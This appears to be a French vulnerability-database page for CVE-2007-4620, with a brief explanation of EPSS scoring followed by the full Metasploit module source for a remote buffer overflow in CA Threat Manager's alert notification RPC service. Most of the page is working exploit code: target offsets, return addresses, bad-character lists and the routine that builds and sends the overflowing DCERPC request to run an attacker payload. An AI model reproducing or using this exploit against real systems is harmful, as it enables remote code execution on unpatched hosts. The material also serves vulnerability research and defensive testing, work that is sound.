CVE-2007-4620 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: etrust_itm_alert.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB def initialize(info = {}) super(update_info(info, 'Name' => 'Computer Associates Alert Notification Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.1 By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need valid logon credentials to the target. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2007-4620' ], [ 'OSVDB', '44040' ], [ 'BID', '28605' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ], [ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ], [ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui ], 'DisclosureDate' => 'Apr 4 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']), ], self.class) end def exploit connect() smb_login() handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12) filler << payload.encoded + rand_text_english(772) sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00") sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0) print_status("Trying target #{target.name}...") begin dcerpc_call(0x00, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end =begin /* * IDL code generated by mIDA v1.0.8 * Copyright (C) 2006, Tenable Network Security * http://cgi.tenablesecurity.com/tenable/mida.php * * * Decompilation information: * RPC stub type: inline */ [ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ] interface mIDA_interface { typedef struct struct_1 { long elem_1; [size_is(10000), length_is(elem_1)] struct struct_2 * elem_2; } struct_1 ; typedef struct struct_2 { char elem_1[52]; } struct_2 ; /* opcode: 0x00, address: 0x00401000 */ long sub_401000 ( [in][ref][string] char * arg_1, [out][ref] struct struct_1 * arg_2, [in][ref][string] char * arg_3 ); } =end